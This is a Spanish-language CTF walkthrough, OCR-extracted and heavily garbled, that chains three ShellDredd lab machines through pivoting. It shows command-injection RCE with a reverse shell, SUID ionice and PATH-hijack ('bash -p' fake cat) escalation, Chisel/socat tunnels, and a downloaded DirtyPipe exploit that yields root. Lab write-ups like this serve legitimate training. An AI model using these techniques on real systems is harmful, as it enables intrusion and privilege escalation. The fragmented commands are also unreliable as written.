CTF BY SHELLDREDD

En este writeup vamos a resolver
las maquinas VideoClub,
CelebritySoup y  Rei de
ShellDredd de manera conjunta
en un laboratorio donde
pondremos en practicas técnicas
de pivoting para saltar de unaina

a maquina.
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CTF By ShellDredd

0- Introduccion

En esta ocasién vamos a realizar un writeup especial. Vamos a resolver todas las
maquinas CTF de ShellDredd en un solo walkthrough. Como lo haremos, vamos a
vulnerar la maquina Videoclub y a partir de aqui, pivotaremos a CelebritySoup y de aqui

arei.

1- Comenzamos

El primer paso sera determinar la IP de la primera maquina que vamos a vulnerar.

Determinamos las redes donde se encuentra nuestra maquina de ataque.

/home/kali/Desktop/lab_shelldredd_pivoting

192.168.56.129

/home/kali/Desktop/lab_shelldredd_pivoting

mtu 1500

carrier @ collisions @

packets 515 byte (
dropped @ r 3@ ca collisions @

La red que nos interesa es 192.168.56.0/24. Vamos a escanear que equipos se

encuentran en esta red.

/home/kali/Desktop/lab_shelldredd_pivoting
ethl Localnet

MAC: @ 29:59:b9:9e, IPv4: 192.168

6 hosts (htt ithub.com/royhills/ar




2-VideoClub

2.1.  Enumeracion

2.1.1. Servicios abiertos

Comenzamos con una enumeracion rapida de los servicios disponibles.

/home/kali/Desktop/lab_shelldredd_pivoting
—p- e in-rate @ -p 1 .

Starting Nmap 7

nitiating ARP

ports]
on 19

hi4h
tcp ports
ERVICE
open ssh
tcp open
MAC Address:

Read data files from:
Nmap done: 1 IP
Raw p ent: ¢ ! MB) | Rcvd

Dos servicios abiertos, puertos 22 y 3377. Seguimos con el escaneo profundo de estos

servicios.

OPTIONS HEAD
(Debian)

nux:linux_kernel

Servicios abiertos:

e Puerto 22 > SSH > OpenSSH 7.9p1
e Puerto 3377 > HTTP > Apache httpd 2.4.38

2.1.2. Enumeracion Web

Tenemos un puerto 3377 HTTP abierto. Vamos a ver en el navegador el contenido.




MARGARITAVIDEO-CLUBX  +

X @ O A 192.168.56.133

THE BEST MOVIE RELEASES ON DVD
Nelcome to Movie Records Films

Vamos a echar un vistazo al cddigo fuente. Aunque parece que no hay nada interesante.

Vamos a realizar una enumeracion de directorios a ver hay algo que pueda ayudarnos a

avanzar. Vamos a utilizar dirsearch para enumerar directorios.

b_shelldredd_pivoting
-i200,301 - txt,php,zip,js,html -t64

Extensions: - reads: Wordlist size:
Output File: /root/.dirsearch/reports/3

Error Log: /root/.dirsearch/logs/err

images/

manual/

Task Completed

Existen los directorios /videos, /images y /manual y un archivo robots.txt. Vamos a

comenzar viendo el contenido del archivo robots.txt.

192.168.56.133:3377/robots.i X




Hay un hash que vamos a descifrar a continuacion utilizando la herramienta CyberChef.

EJ5do3xtqTuyVThyp3DtHzyfoKZtLISxVUAY pzyyp10iMy0BnTHE GZyxMIBtL2k1LvOgLKHaLKNCaTRFVUEbMFObN JEXMI 4tp2y xHFOIMVOWNI5yIRh

Magic

Depth Extensive language
Intensive mode
3 a o support

Crib (known plaintext string or regex)

Output

Recipe (click to load)

“Enjoy the best films and series of the video club margarita, the hidden side of cinema.”

Result snippet

Enjoy the best films and series of
the video club margarita, the hidden
side of cinema.

)

No encontramos nada interesante. Si seguimos bajando en este archivo encontramos

que se hace referencia al archivo “list-defaulters.txt”. Vamos a ver su contenido.

oD JeDieD

list-defaulters.txt

AelAe"ae 80—

Aegae_Ae ae[iae A0 4e’

Bla-Bae0 3+08+0 400 2:0 3+35-[ 3.0 3.0

El archivo “list-defaulters.txt” encontramos una lista de usuarios. Vamos a descargarla

porque nos puede ser Util mas adelante.

st4llmdn
tim
exif
tool
n@ndm3
sofia
ashita
cdrdcénd
sml
altermenta
frodo

neo
EGTELED
wOnderwem4n



https://gchq.github.io/CyberChef/

Vamos a ver el contenido de los directorios /videos e /images.

Index of fvideos

&«

Index of /videos

Name Last modified Size Description

¥ Parent Directory -
alf-trailermpd 2021-09-28 10:10 20M
caraconos.mpd 2021-09-28 10:10 45M
coche-trailermpd 2021-09-28 10:104.8M
dance.mp4d 2021-09-28 10:10 27M
ghost-trailermp4 2021-09-28 10:10 16M
hackers-trailermpd 2021-09-28 10:10 12M
matrix-video.mpd 2021-09-28 10:10 10M
movirecords. mp4d 2021-09-28 10:101.2M
terminator-video.mp4 2021-09-28 10:10 30M
tron-trailermpd 2021-09-28 10:10 60M

Apache/2.4.38 (Debian) Server at 192.168.56.133 Port 3377

Index of fimages

Index of /images

Name Last modified Size Description

¥ Parent Directory -
[§ alfpng 2021-09-28 10:10 24K

bunny.jpg 2021-09-28 10:10 269K
cartel-club.gif 2021-09-28 10:10 2.3M
coche-fantastico.jpg 2021-09-28 10:10 430K
[§ darkcity,jpeg 2021-09-28 10:10 103K
[&] friends.jpg 2021-09-28 10:10 117K
gargolas.jpg 2021-09-28 10:10 236K
ghost.jpg 2021-09-28 10:10 303K
hackers.jpg 2021-09-28 10:10 34K
@ maritrini_logo.png 2021-09-28 10:10 17K
[§) matrix. jpg 2021-09-28 10:10 227K
monk.jpeg 2021-09-28 10:10 19K
& movirecord nna 2021-09-28 10:10 R93K

Vamos a descargar el contenido de ambos directorios para ver si hay informacién

interesante en ellos.




Connecting

HTTP reqguest

Extraemos los metadatos de todos los videos e imagenes de la siguiente forma:

/home/../Desktop/lab_pivoting_shelldredd/videoclub/images

Vamos a analizar los datos que hemos obtenido de extraer los metadatos de las

imagenes.

olution
lution Unit : None
* Centerad
rial_killer:bien_cabron

line DCT, Huffman coding

/home/.../Desktop/lab_pivoting_shelldredd/videoclub/videos

f-trailer.mpé
rsion Number : 12,49
: alf-trailer.mp4

Vamos a filtrar la informacidn resultado utilizando el término “Copyright” que nos

devolvié resultados interesantes al extraer los metadatos de las imagenes.




/home/.../Desktop/lab_pivoting_shelldredd/videoclub/videos

ght

/home/.../Desktop/lab_pivoting_shelldredd/videoclub/videos

¢Cémo podemos interpretar esto? ¢ Pueden ser directorios ocultos? ¢ Archivos? Vamos
a realizar comprobaciones. klnd3rs, t3rm1n4t0Or, m14 w4ll4c3 y cOn3h34ds son
directorios de este sitio Web. cOntr0l, no es un directorio. ¢ Puede ser un archivo? Vamos

a comprobarlo. Para ello, vamos a hacer uso de la herramienta Burp Suite Intruder.

3. Intruder attack of http://192.168.56.102:3377 - Temporary attack - Not saved to project file

Attack  Save  Columns

Results Positions Payloads Resource Pool Options

Filter: Shawing all items | @
Request Payload Status Error  Timeout  Length Comment

2 .php 200 165 |

EZ] phps 403 5]

o 404 458

z aspx 404 458

1 Lasp 404 458

3 .bat 404 458

5 cfm 404 asg

4 < 404 458

6 cgi 404 458

7 €55 404 458

8 .com 404 458

a il 404 458

1 .exe 404 458

Finis hed O —

cOntrOl es un archivo PHP.

192.168.56.133:3377/cOntr0l. X +

U A &= 192.168.56.133




2.2. Explotacion
No devuelve resultado. Podemos probar si es vulnerable a RCE. Para ello, vamos a
utilizar la lista de usuarios que descargamos antes. Volvemos a utilizar para ello la

herramienta Burp Suite Intruder.

Attack  Save  Columns
Results Positions Payloads Resource Pool Options

Filter: Showing all items

Request Payload Status Error  Timeout  Length
33 ndn4m3 200 ‘laG
34 safia 200 laG
35 lacashita 200 166
36 cArdcnd 200 ‘laG
R sml 200 laG
38 altdrmenta 200 166

g Eeado o 155
40 flynn 200 339]
41 nolose 200 166
42 rltm4tica 200 166
43 1w 200 166
44 steq 200 166
45 hide 200 166

192.168.56.133

4dult z0n3 boom.css cOn3h34ds cOntrOl.php images index.html klnd3rs list-defaulters.txt m14_w4ll4c3 robots.txt t3rm1ndtOr trOn videoplayback videos

Hay cositas interesantes, los directorios /images y /videos, los directorios ocultos que

encontramos en los metadatos, robots.txt...

uid=33(www-data) gid=33(www-data) groups=33(www-data)

El sitio Web es vulnerable a RCE. Vamos a aprovechar esta vulnerabilidad para explotar

la maquina.

Vamos a enviar una Shell reversa aprovechando esta vulnerabilidad.




/home/kali/Desktop/lab_shelldredd_pivoting

~lnvp 4444
listening on [a -
connect to [192 9] from (UNKNOWN) [192.168.56.1
id

ww-data) gid ww-data) groups v -data)

Ya tendriamos conexién con la maquina VideoClub. Para el fin de este laboratorio podria
ser suficiente, ya que con los privilegios que tenemos actualmente, ya podriamos
realizar el pivote hacia la siguiente maquina. En esta ocasidon, vamos a elevar a privilegios

maximos y desde alli iniciamos el pivote.

Primero comenzamos realizando el tratamiento de la terminal.

python -
w-dataavi

2.3.  Elevacién de privilegios

Vamos a realizar una serie de enumeraciones manuales que nos pueden dar informacion 10

util para la elevacién de privilegios.

sudo -1

We trust you hav ved the usual lecture from the local System
Administrator. It ly boils down to these three thing

of others.
s great responsibility.

[sudo] password for www-data:

No podemos ejecutar comandos sudo, no disponemos de password.

Continuamos enumerando binarios SUID.

o L '/ / 2>/dev/null
find / -

—-club-margarita:




El binario “ionice” puede ser interesante. Vamos a consultar en GTFOBIins, si existe

posibilidad de elevar privilegios aprovechar la presencia de este binario.

|suiD

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or
maintain privileged access as a SUID backdoor. Ifitis used to run sh -p, omit the -p argument on systems like Debian (<= Stretch)
that allow the default =» shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it o maintain elevated privileges. To interact with an existing SUID
binary skip the first command and run the program using its original path

sudo install -m =xs $(which ionice) .

-fionice /bin/sh -p

Ejecutamos en la terminal ./ionice /bin/sh -p y ya tendremos privilegios maximos.

comedy.txt ntial t ionice science-fiction.txt wuser.txt
ideo-club-ma : /home brarian$ 1s- la

: command not found
club-margarita:/home/librarian$ ./ionice /bin/sh -p

www-data) euid=0(root) egid=0(root) groups=@(root) ww -data)

3- Pivotando hacia Celebrity-Soup

Una vez hemos tomado privilegios maximos en la maquina VideoClub, vamos a
comenzar el proceso para pivotar hacia el siguiente objetivo, Celebrity-Soup. El primer

paso sera averiguar a que redes tiene acceso la maquina VideoClub.

www-data@video-club-margarita:/tmp$ hostname -I
hostname -I
152.168.228.132 192.168.56.133

La red 192.168.56.0/24 es la red donde se encuentra nuestra maquina de ataque, por lo
que ahora la red que nos interesa es la 192.168.220.132/24. Vamos a cagar un script de
reconocimiento de IP mediante pingo con el que vamos a enumerar los equipos que

estan conectados a esta segunda red. Primero creamos un servidor HTTP con Python.

g HTTP on @

11


https://gtfobins.github.io/

reconIP.

freconIP.sh

Connectin
HTTP

2 MB/s) - 'reconIP.sh' saved [490/490]

ww-datadvideo-club-margarita:/tmp% ./reconIP.sh
./reconIP.sh
Enter (e.g. 192.168.1): 192.168.

Recordamos que la IP 132 es de la maquina VideoClub, por lo que la IP que nos interesa
para el siguiente paso es la 192.168.220.133. Préximo paso, cargar un binario de la
herramienta “Chisel” en la maquina VideoClub. ¢ Para qué sirve “Chisel”? En este caso,
nos sera util para crear un tunel a través del cual poder conectarnos a la maquina victima
desde nuestra mdaquina de ataque, que en principio no tiene conexion directa con la
maquina Celebrity-Soup. Para ello, volvemos a utilizar el mismo servidor HTTP Python

creado anteriormente.

Vamos a crear el tunel utilizando “Chisel”. En la mdaquina de ataque ejecutamos lo

siguiente:

/home/kali/Deskto
= e~ 4
r: Re

} 1@0:50:42 server:

12



Mientras que, en la maquina atacada, ejecutamos esto:

wwi-data@video-club-margarita:/tmp$ ./chisel client 192.16

Una vez completada la ejecucion, tendremos conexidn con todos los servicios de la

maquina “Celebrity-Soup” lanzando un Unico comando.

/home/kali/Desktop/lab_shelldredd_pivoting
er —reverse -p 4444
se tunnelling e
: Fingerprint aJkFHt7m

r: Listening .
: session#l: Client versic (1.7.4) differs
5TC)

: session#l: tun: proxy#R:127.0.0.1:1080=s

Se crea una conexidn de tipo socks a la escucha en el puerto 1080. Para que esto
funcione debemos crear una conexidén socks para ese puerto en el archivo

/etc/proxychains.conf. Afiadimos la siguiente linea al archivo.

[ProxyList]

socks5 127.0.8.1 1

A partir de este momento, utilizaremos la herramienta “proxychains” para poder
servirnos del tunel creado y poder conectarnos a “Celebrity-Soup” desde nuestra

maquina de ataque.

El siguiente paso sera vulnerar “Celebrity-Soup”.

4- Celebrity-Soup

4.1. Enumeracion

4.1.1. Servicios abiertos
Comenzamos realizando una enumeracién rapida de los servicios abierto en Celebrity-
Soup con NMAP. Debemos utilizar “proxychains” para poder conectarnos desde nuestra

maquina de ataque.

13



/home/kali/Desktop/lab_shelldredd_pivoting
—g nmap -p- -sVC -T5 -Pn -n -sT

STATE SERVICE
open ft

open s

open h

p
]
t

5
T

p

/home/kali/Desktop/lab_shelldredd_pivoting
nmap -p2l,22, —sWVC -T5 -Pn -n -sT -

TYAAAAIDbm1zdHAYNTYAAABBBOC]Qeru+5a3+ VW06JZC4alResbTMog3J+G3EObG+ic+EyCPH92¢c0 8Bp31HADbQOVEBNI8eYLE=

cPk@4FRiGMVUS 5c211R

ect 9
Unknoun
nix, Li

Tenemos servicios abiertos en:

e Puerto 21: vsftpd 3.0.3
e Puerto 22: OpenSSH 7.9p1

e Puerto 80: Apache httpd 2.4.38

Como el puerto 80 esta habilitado, vamos a comenzar viendo que contiene.

4.1.2. Enumeracion Web

Antes de poder abrir el puerto 80 en el navegador de nuestra maquina de ataque,

debemos configurar “foxy proxy” para poder tunelizar la conexion SOCKS5 hacia nuestro

navegador y poder ver el contenido de la Web.

Title or Description (optional)

Color

Proxy Type

Proxy IP address or DNS name
HB6CCH6

Send DNS through SOCKSS proxy B Port

Username (opticnal)

Password (optional)

FL HACKER
Al
S~

— 192.168.220.133

14



# Section 9 X

+
O A 192.168.220.133

Exclusive Systems Protection

Vamos a seguir enumerando los directorios del sitio Web.

/home/kali/Desktop/lab_shelldredd_pivoting
-q dirsearch -u "19 33" -i 1 -e txt,php,zip,js,html -t64

Extensions: HTTP method: Threads: Wordlist size:
Output File: /root/.dirsearch/reports/192.168. .133 2 2-18_11-11-12.txt

Error Log: /root/.dirsearch/logs/errors 18_11-11-12.log

Target:

[11:11:12] Starting:

Task Completed

Interesante tenemos el archivo robots.txt, vamos que informacion contiene.

15



Abrimos los 4 contract*.html pero no contienen informacidn interesante en principio.

Pasamos a abrir los archivos sector*.html. Una vez abiertos varios de ellos vemos que

al final del cédigo de cada uno de ellos tenemos este patron repetido.

: | <main class="main"=>
<div class="backl"=</div>
</main=
| =div secretl="pu"=></div=
| </body=
</html=

Vamos a descargar todos estos archivos y extraer todos los “secretos”.

/home/kali/Desktop/lab_shelldredd
c silent "http: t c secret

ion of Section 9's headquarters is held as top- and is only known by the Japanese government and Secti
on 9 empl
<div

Obtenemos lo que parecen las silabas de una palabra que pueden pertenecer a un
nombre de usuario o una contrasena. Ya también, tenemos las indicaciones para

encontrar la seccién 9.

/home/kali/Desktop/lab_shelldredd_pivoting

q curl silent "http://192 3.1 0 5 secret

16



La palabra formada es “puppetmaster”.

Vamos a continuacion a buscar la ubicacion de la seccién 9. Analizamos tanto la web
como el cddigo fuente, pero no encontramos nada que parezca util. Vamos a crear un
diccionario a partir del contenido de la web con el que posteriormente volveremos a

hacer fuzzing de directorios en la web.

/home/kali/Desktop/lab_shelldredd_pivoting
p 20,13

-q cewl with- vers http://192.168. sector9.html >fuz.tx

Con la lista creada, vamos a volver a realizar otra tarea de fuzzing por si existiese otro

directorio no encontrado anteriormente.

/home/kali/Desktop/lab
q gobuster dir -u htt /192 .133 -t 5@ -x .php,.html,.txt -w fuzz.txt

Url:
Method:

nsions:
out:

ion mode

9 Finished

/home/kali/Desktop/lab_shelldredd_pivoting

#4 Project 2501

& C @ O A 192168.220.133

17



Hay una imagen. ¢Qué podemos hacer? Podemos extraer sus metadatos, descifrarla,

buscar informacion en el cddigo fuente de la pagina Web.

Vamos a buscar la imagen en el cédigo fuente.

<head>
<seta charset-"UTF-8* />
<setd RASe="Viewport® conteate‘widthedevice-width, user-scalableeno, initial-scale«1.0, saxisus-scale«l. 0, minisus-scale«l. 0" />
«<meta Mtp-equive“cache-control® comtente"no-cache*/>

<meta name-"author” coatent«"ShellDredd” />
<meta name="copyright™ content«"ShellDredd* />
<link releicon® hrefe"183Ges/9-1000.000" typo«"image/|peq” sizes«"16x16* />

«<link hrof"IEEIIFETE" rele-stylesheets

<title>Project 2501</title>

«</hoad>
<body»

<div fde"contenedor carga*>
<div {de"carga“></div>
«/div»

<script>
window.onload = function{){
var contenedor = document,getElementByld( ' contenedor carga‘):

contenedor, style.visibility = "hidden':
contenedor.style.opacity = “0';

}
</script>

.contract2 {
font: Open Sans, Impact;
background-image: url{images/contract2.)pg);
background-size: cover;
width: 100%;
height: 1000px;
}

.contract3 {
font: Open Sans, Impact;
background-image: url(images/contract3.gif);
background-size: cover;
width: 100%;
height: 1000px;
}

.contractd {
font: Open Sans, Impact;
background-image: url{images/contractd.gif);
background-size: cover;
width: 100%;
height: 1000px;
}

.project {
background-image: url([EEPEEIEEELIRan: ) ;
background-size: cover;
width: 160%;
height: 1706px;

Descargamos la imagen.




ivoting

s/master.png

— ] 4,14M 22.9MB/s in @.2s

images/master.png’ saved

-9 MB/s)

Desciframos la imagen con esta herramienta.

Descodificar imagen

Descodificar kx

Browie

Mensaje oculto

Y con CyberChef, desciframos el binario obtenido anteriormente.

—— 1 th: 232 —
Recipe By Input e o+ O W =
) 011001000110100101160111011010010111010001100001011011000010110101100016011100180
e BTy 011000010110100101101118001011010110100101110011001601101611101000111001001100001
Deliter Bte Lenath 011011160111001101160011011601010110111001100160011010010110111001100111
Space 8
time: Gms on
Output I W ! R

[digitalfbrain—is -transcending

Puede ser una contrasefia. Recordamos que tenemos un servicio SSH corriendo en el

puerto 22.

4.2. Explotacion

Con el posible nombre de usuario “puppetmaster” y la contrasefia extraida de la imagen

anterior, vamos a intentar iniciar sesion a través de SSH.



https://www.esteganografia.com/
https://gchq.github.io/CyberChef/

(puppetmaster) gr
:~$ whoami

~$ 1

Ya tenemos acceso a la maquina victima como usuario “puppetmaster”. Vamos a por la

flag.

El siguiente paso sera la elevacion de privilegios. 20

4.3. Elevacion de privilegios
En el mismo directorio donde encontramos la flag user.txt, encontramos un systeminfo

gue puede ser Gtil.

ebritySoup:~% ./systeminfo

t) gid=100@(puppetmaster) grupos=1000(puppetmaster),24 (floppy),29(audio),3@(dip),44(video),46(plugdev),109(netdev)

Vamos a analizar este archivo realizando reversing por si pudiese contener informacion

interesante mas alla de la que vimos anteriormente.




TMCloneTable

TMCloneTable

_fini_array_entry

y_init_array_entry

En el comando “cat”, no se especifica una ruta absoluta, no como “/usr/bin/whoami”,
entonces podemos crear un “falso cat” para que, al colocarlo en la variable de entorno,

systeminfo ejecuta nuestro cat.

Vamos a comprobar si “systeminfo” tiene activo el bit SUID.

21



puppetmasteraCelebritvSoup:~$ find / -perm o] 2>/dev/null
‘home/puppetmaster/systeminfo

Jusr/lib/openssh/ssh-keysign
fusr/lib/dbus-1.8/dbus-daemon-launch-helper
Jusr/lib/eject/dmcrypt-get-dev

fusr/bin/chsh

Jusr/bin/newgrp

fusr/bin/gpasswd

fusr/bin/su

Jfusr/bin/passwd

fusr/bin/chfn

Jusr/bin/umount

Jusr/bin/mount

puppetmaster: britySoup:~% |}

Cuando llamemos al ejecutable “systeminfo”, nuestro “falso cat” serd ejecutado. Vamos

a crear nuestro “falso cat”.
puppetmasteraCelebritySoup:~% echo "bash -p" > /tmp/cat
puppetmasteraCelebritySoup:~%
puppetmasteraCelebritySoup:~$

puppetmasteraCelebritySoup:~% echo $PATH

/bin:/usr/bin:/bin:/usr/local/games: /usr/games
puppetmasteraCelebritySoup:~$ []

El siguiente paso serd volver a ejecutar “systeminfo”. Ya deberiamos tener privilegios

maximos en la maquina victima.

rom),25(floppy),29(audio),30(dip),44(video), s6(plugdev),109(netdev)

t find / -name root.txt

f cat /root/root.txt
f more /root/root.txt

ebritySoup:~# I

Como hemos modificado “cat”, no funciona para abrir la flag. Debemos utilizar “more”

o “less”.

Y siguiente paso sera el ultimo pivoting del laboratorio, hacia la maquina “rei”
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5- Pivotando hacia rei

Comenzamos comprobando en que redes tiene conexidn la maquina “CelebritySoup”

Esta conectada a dos redes. La 192.168.220.0/24 corresponde a la red donde también
estd conectada la maquina “VideoClub”. Asi que la red que nos interesa es
192.168.60.0/24. Vamos a cargar un ejecutable bash que realice un escaneo de las IP
activas en esa red. Habilitamos un servidor con Python sobre la maquina VideoClub a
partir de la cual transferiremos el ejecutable “reconIP.sh” a “CelebritySoup”. Una vez

hecho esto, daremos permisos y ejecutaremos.

En nuestra maquina volvemos a conectar otra Shell con la que nos conectaremos a

“VideoClub”, una vez hecho esto, ya podremos levantar el servidor.

/home/kali/Desktop/lab_shelldredd_pivoting 2 3
-lnvp 5
listening on [am 0 ...
connect to [192. .129] from (UNKNOWN) [192.168
cd /tmp

Ejecutamos.

- conIP.sh
¢ (e.g. 192.168.1): 192.168
4]
enumeration complete, exiting...
ebritySoup:~# []




La IP “130” corresponde a la maquina “CelebritySoup”, por lo que la IP de “rei” es

192.168.60.129.

En este caso, el proceso de pivoting es mas laborioso. Tenemos que hacer dos cosas, por
un lado, levantaremos un cliente de “chisel” en la mdaquina “CelebritySoup” que lo
vamos a redireccionar a un puerto aleatorio de la maquina “VideoClub” y por otro lado
levantaremos la herramienta “socat” en la maquina “VideoClub”, que utilizaremos para
reenviar la informacion recibida del puerto aleatorio anterior al puerto donde tenemos
levantado el servidor de “chisel” de nuestra maquina de ataque. La finalidad de este
montaje es poder acceder al segmento donde se encuentra “CelebritySoup” y “rei”
desde nuestra mdquina de ataque. También, debemos modificar el archivo

proxychains.conf para adaptarlo a la nueva conexion creada.

Comenzamos:

III

1. Ejecutamos “chisel” en “CelebritySoup”

puppetmaster@CelebritySoup:~$ ./chisel client 192.168.
18:53:05 client: Connecting to ws://192.168.228.
8 10:53:05 client: Connected (Latency 4.601352ms)

; H:E@@@:5ocks’ Zl

¢Qué significa esta ejecucién? Por un lado tenemos que la informacién se va a
enviar a la IP 192.168.220.132 en el puerto 4456 (VideoClub) y por otro lado,
tenemos que la conexidon socks se va realizar a través del puerto 8000
(recordamos que cuando ejecutamos “chisel” para acceder al segmento de

“CelebritySoup”, el puerto por defecto y en uso ahora mismo, es el 1080).

2. Ejecutamos “socat” en “VideoClub”

456,fork TCP:192.168.

De esta manera, toda la informacién que reciba la maquina “VideoClub” en el
puerto 4456 serd reenviada al puerto 4444 de nuestra maquina de ataque, el
puerto donde tenemos levantado el servidor de “chisel”.

También, al igual que hicimos en el primer pivoting, debemos afadir el nuevo
puerto de socks5 al archivo proxychains.conf y cambiar, strict_chain por

dynamic_chain para poder utilizar ambos puertos.




dynamic_chain

[ProxyList]

Y ya deberiamos tener conexién con la maquina “rei”

6- Reli
6.1. Enumeracion

6.1.1. Servicios abiertos

o« H4

Estamos conectados a “rei” a través de un doble tunel, lo que significa que las

conexiones pueden ser lentas. En este caso, vamos a comenzar la enumeracion de
puertos abiertos con la utilidad “masscan” que es mas rapida que “nmap” en la
enumeracion de puertos abiertos. (No debemos pasarnos con los hilos de masscan ya

gue puede no detectar todos los servicios)

/home/kali/Desktop/lab_shelldredd_pivoting
50 1 . .
Starting ma
Initiating
/host]
d open port 3 192.
ed open port Cp ¢ 192.

Tenemos dos puertos abiertos, 65333 y 63777. Ahora si, vamos a “nmap” para el

escaneo detallado de estos servicios.

fhome/kali/Desktop/lab_shelldredd_pivoting
-q nmap -p65333,63777 -sTVC in-rate 5008 -FI 192.168.60.129

25



x SERVICE REAS
open http

d Methods: OPTIO ET HEAD POST
lighttp

AAAADAQABAAAB
rvNpX+JbbFq88H jdIi &6mH2hGNI
QfusuPAJfOdMFTAtLY 8z5(

YAAAATbmL zdHAYNTYAAABBBF7T2

Servicios abiertos:

e Puerto 63777 -> HTTP -> lighttdp 1.4.59
e Puerto 65333 -> SSH -> OpenSSH 8.4

6.1.2. Enumeracion Web
Antes de continuar, recordamos que debemos configurar “foxy proxy” para poder

acceder al sitio Web a través de socks. 2 6

Title or Description (optional) Proxy Type

Calor Proxy IP address or DNS name
#66cc66

Send DNS through SOCKSS5 proxy Port

Pattern Shortcuts

Enabled
Add whitelist pattern to match all URLs €@

Do not use for localhost and intranet/private IP addresses €@

Usermame (optional)

Password (optional)

Y ya podremos acceder.

Welcome page

£ 192.168.60.129

Placeholder page

The owner of this web site has not put up any web pages yet. Please come back later.

You should replace this page with your own web pages as soon as possible

Unless you changed its configuration, your new server is configured as follows:

« Configuration files can be found in /etc/lighttpd. Please read /etc/lighttpd/conf-available/README file.

« The DocumentRoot, which is the directory under which all your HTML files should exist, is set to /var/www/html.

* CGl scripts are looked for in fusr/1ib/cgi-bin, which is where Debian packages will place their scripts. You can enable
"lighty-enable-mod cgi"”.




Continuamos enumerando directorios y archivos disponibles en el servidor.

HTTP method:
Output File:

Error Log

Vamos a analizar la informacion contenida en el archivo robots.txt.

Aunque no contiene nada de utilidad. Volvemos a la web estatica por si hubiese alguna

informacién que nos pudiese ser de interés.

Placeholder page

The owner of this web site has not put up any web pages yet. Please come back later.

You should replace this page with your own web pages as soon
as possible.

Unless you changed its configuration, your new server is configured as follows:

« Configuration files can be found in /etc/lighttpd. Please read /etc/lighttpd/conf-available
/README file

* The DocumentRoot, which is the directory under which all your HTML files should exist, is set to

/var/www/html

CGl scripts are looked for in fusr/1ib/cgi-bin, which is where Debian packages will place their

scripts. You can enable cgi module by using command “lighty-enable-mod cgi®.

Log files are placed in /var/log/lighttpd, and will be rotated weekly. The frequency of rotation can

be easily changed by editing /etc/logrotate.d/lighttpd

The default directory index is index.html, meaning that requests for a directory /foo/bar/ will give

the contents of the file /var/www/htmi/foo/bar/index.html if it exists (assuming that /var/www/html is
our Docu Root)

it nentation can be found at“text” archive: indexp in the default directory /var/

« You can enable user directories by using command “lighty-enable-mod userdir"

Como podemos leer, en el texto se indica la existencia de un archivo indexp, en

directorio raiz del servidor.

el



404 Not Found

404 Not Found

Aungue no encuentra nada. Podemos probar afiadiendo una extension de texto, como

txt.
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Nos devuelve a que directorios podemos acceder y a cuales no. Vamos a utilizar curl,

para filtrar solo que directorios podemos ver su contenido.

Total

100 19305 100 19305

Jdmusic/promotions/AmazonMusicUnlimited
hli niversal




403 Forbidden

403 Forbidden

403 Forbidden

403 Forbidden

Las demas urls nos devuelven error 404.
Vamos a realizar un escaneo de directorios para las dos urls encontradas.
/home/kali/Desktop/1

dirsearch htt 192. .6 H c ur-button/ -i /home/kali/SecLists/Discovery/Web-Content
/directory-list-2.3-small.txt

EX i > - A
Qutput File oot/.dirs ch/reports/192.168.60.12 ichin-your-button ) xt 29

our-button

IH

Vamos a ver el cddigo fuente por si pudiese contener alguna informacion interesante.




P =scripts(=l</script
*adiv class="portada™s

b =<div id="menu®=l=</div>
=div class="portada-index"></dive

w<div align="center">
b <a style="font-weight: bold;” title="ENTER" href="ghuck-norris html™ target=""= - </5>
</dive

<fdivs

Contiene un enlace. Vamos a ver su contenido. Ademads, de poder ser un posible usuario

para SSH (chuck-norris).

w<div class="portada®>

wadiv id="menu®s
x="0 B 1320 200"==</svg>
b div class="contencdor-texto"> = </div>
</div>
<div class="portada-index®></div>

b 25vg view

IR chuck -norris is the user masterfll href="#" target="">00</a>

Vemos una frase que también nos da indicios de que Chuck Norris es un usuario del

sistema.
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Balance is key, é¢sera Balance una password?
Vamos a abrir el directorio “ssh”

403 Forbidden

<« C @ O & 192168.60.129

403 Forbidden

Vamos a realizar un escaneo del directorio “ssh”, para ver qué informacion podemos

encontrar.




/home/kali/Desktop/lab_shelldredd_pivoting
-q dirs ch -u htt| 1€ . i r '3 -w /home/kali/SecLists/Discovery/Web-Con
tent/directory-list-2.3-small.txt -t 6@ - html

Extensions: HTTP method: re : ilist size:

Qutput File: . £ 637 hin-your-button-ssh

Error Log

Ta t:
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Vamos a probar a utilizar esta clave RSA con el usuario chuck-norris que encontramos

anteriormente.

6.2. Explotacion

fhome/kali/Desktop/lab_shelldredd pivoting

chuck-norris§l92.168.60.129

Pero nos pide una password. Podemos probar una palabra que encontramos
anteriormente en una frase mientras analizdbamos el cddigo fuente de la web. Esta

palabra era balance o Balance, vamos a probar.

La contraseria correcta es balance.




fhome /kali/D top/lab_shelldredd_pivoting

“cat” no funciona, vamos a probar otros programas para abrir este archivo. El primero 3 2

serd “less”. Si este no funciona, probamos con pico.

Finalmente, podemos abrir la flag user.txt con la utilidad “pico”.




6.3.  Elevacion de privilegios
Vamos a enumerar archivos SUID, posibles archivos editables... Esta tarea la vamos a
realizar de forma automatica con un ejecutable de “linpeas”. Este binario lo vamos a
enviar desde nuestra maquina de ataque a través de una cadena de servidores Python
HTTP levantados en cada una de las maquinas levantadas. Una vez enviado el archivo
hasta la maquina “rei”, damos permisos de ejecucién y lo lanzamos. Después de unos
instantes ya tenemos la primera informacién interesante. “Rei” presenta la

vulnerabilidad CVE-2022-0847, “DirtyPipe”.

Details:

Exposure: probabl
Tags: ubuntu=(2 .084),[ debian=11 ]
Download URL: https://haxx.in/files/dirtypipez.c

Posible vector de elevacion de privilegios. Para a descargar un exploit para tratar de
aprovechar esta vulnerabilidad que nos debe permitir elevar privilegios. La forma de
operar, la misma que con el ejecutable de “linpeas”. También debemos dar perisos de

ejecucion.

chu orri ate:~$ gcc dirtypipez.c -o exploit_pwn
chuck-norris; '

chuck-norrisakarate:~% ./exploit fusr/bin/mount

[+] hijacking suid binary ..

[+] dropping suid shell..

[+] restoring suid binary..

[+] popping root shell.. (dont forget to cleam up /tmp/sh
# id

uid=08(root) gid=@(root) groups=0(root),6969(Mega-Punch)

# whoami

Tras ejecutar el exploit, ya tenemos privilegios maximos dentro de la maquina “rei”.

Vamos a por la flag.

Para ello, nos dirigimos al directorio root y en su interior se encuentra la flag root.txt.
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Maritrini plays w
| hidden area and m

O no, que también es una opcidn. En el archivo podemos leer la frase de “Maritrini es la

clave”. Vamos a probar si existe algin archivo que se contenga en su nombre maritrini.

# find / -name '#.maritrini’

/mnt/.maritrini

